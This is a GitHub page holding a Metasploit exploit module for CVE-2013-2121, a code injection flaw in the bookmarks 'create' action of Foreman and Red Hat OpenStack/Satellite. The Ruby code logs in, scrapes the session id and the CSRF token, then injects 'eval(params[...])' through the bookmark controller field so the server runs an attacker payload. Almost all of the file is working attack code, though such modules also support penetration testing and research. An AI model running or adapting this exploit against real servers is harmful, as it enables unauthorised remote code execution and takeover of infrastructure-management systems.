-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathforeman_openstack_satellite_code_exec.rb
121 lines (106 loc) · 4.19 KB
/
foreman_openstack_satellite_code_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection',
'Description' => %q{
This module exploits a code injection vulnerability in the 'create'
action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite
(Foreman 1.2.0-RC1 and earlier).
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2121'],
['CWE', '95'],
['OSVDB', '94671'],
['BID', '60833'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=968166'],
['URL', 'http://projects.theforeman.org/issues/2631']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' =>
[
['Automatic', {}]
],
'DisclosureDate' => 'Jun 6 2013',
'DefaultOptions' => { 'PrependFork' => true },
'DefaultTarget' => 0
)
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Your username', 'admin']),
OptString.new('PASSWORD', [true, 'Your password', 'changeme']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
], self.class
)
end
def exploit
print_status("Logging into #{target_url}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'vars_post' => {
'login[login]' => datastore['USERNAME'],
'login[password]' => datastore['PASSWORD']
}
)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
if res.headers['Location'] =~ /users\/login$/
fail_with(Failure::NoAccess, 'Authentication failed')
else
session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
end
print_status('Retrieving the CSRF token for this session...')
res = send_request_cgi(
'cookie' => "_session_id=#{session}",
'method' => 'GET',
'uri' => normalize_uri(target_uri)
)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
if res.headers['Location'] =~ /users\/login$/
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')
else
csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i
if csrf_param.nil? || csrf_token.nil?
csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
end
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?
end
payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)
print_status("Sending create-bookmark request to #{target_url('bookmarks')}...")
res = send_request_cgi(
'cookie' => "_session_id=#{session}",
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bookmarks'),
'vars_post' => {
csrf_param => csrf_token,
payload_param => payload.encoded,
'bookmark[controller]' => "eval(params[:#{payload_param}])#",
'bookmark[name]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
'bookmark[query]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3)
}
)
end
def target_url(*args)
(ssl ? 'https' : 'http') +
if rport.to_i == 80 || rport.to_i == 443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end + normalize_uri(target_uri.path, *args)
end
end